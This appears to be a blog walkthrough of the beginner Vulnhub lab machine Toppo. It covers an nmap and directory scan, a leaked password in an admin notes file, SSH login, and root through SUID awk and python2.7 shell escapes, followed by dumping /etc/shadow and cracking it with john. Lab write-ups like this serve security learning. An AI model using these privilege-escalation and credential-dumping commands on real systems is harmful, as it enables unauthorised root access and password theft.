This is the write-up of the Machine Toppo from Vulnhub.
DIGEST
Toppo is a beginner friendly machine based on a Linux platform. With the help of note.txt from the admin got the user and exploiting SUID Executables to gain the Root.
Machine Author: Hadi
Machine Type: Linux
Machine Level: Beginner

The IP address is given so no need for netdiscover.
Scanning The Network
nmap -sC -sV 192.168.0.103Press enter or click to view image in full size

Press enter or click to view image in full size

Dirbuster on port 80

Got the notes.txt under admin directory.
Press enter or click to view image in full size

Above notes gives us the password:- 12345ted123
So let's try to guess the username ted and try to login into ssh.
Own User
Press enter or click to view image in full size

$whoami ;idPress enter or click to view image in full size

Press enter or click to view image in full size

Privilege Escalation
I am using this script to find out the privilege escalation methods.
$python -m SimpleHTTPServerStarting the web server locally to upload the privchecker on the toppo machine.
Press enter or click to view image in full size

Press enter or click to view image in full size

Press enter or click to view image in full size

$chmod +x linuxprivchecker.py
$ ./linuxprivchecker.pyRunning the script on toppo.
Press enter or click to view image in full size

It will give some way to Escape Sequences, I am trying using awk, you can try any of them.
Press enter or click to view image in full size

Root using awk
$ awk 'BEGIN{system("/bin/sh")}'Press enter or click to view image in full size

Press enter or click to view image in full size

/bin/bash did not give us root, this is because bash has privilege escalation protection. but there is no such thing in /bin/sh.
Get Yash Anand’s stories in your inbox
Join Medium for free to get updates from this writer.
Let's try a different method for Privilege Escalation while searching on the internet I found this article.
Root using python
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/nullPress enter or click to view image in full size

Press enter or click to view image in full size

python2.7 can exploitable. See the SUID bits
$python2.7 -c “import pty; pty.spawn(‘/bin/sh’);”
Cracking the root password
$awk 'BEGIN{system("cat /etc/shadow")}'Press enter or click to view image in full size

Press enter or click to view image in full size

john --wordlist /usr/share/john/password.lst crack --format =sha512crypt
Own Root

Press enter or click to view image in full size

0wnedlab{p4ssi0n_c0me_with_pract1ce}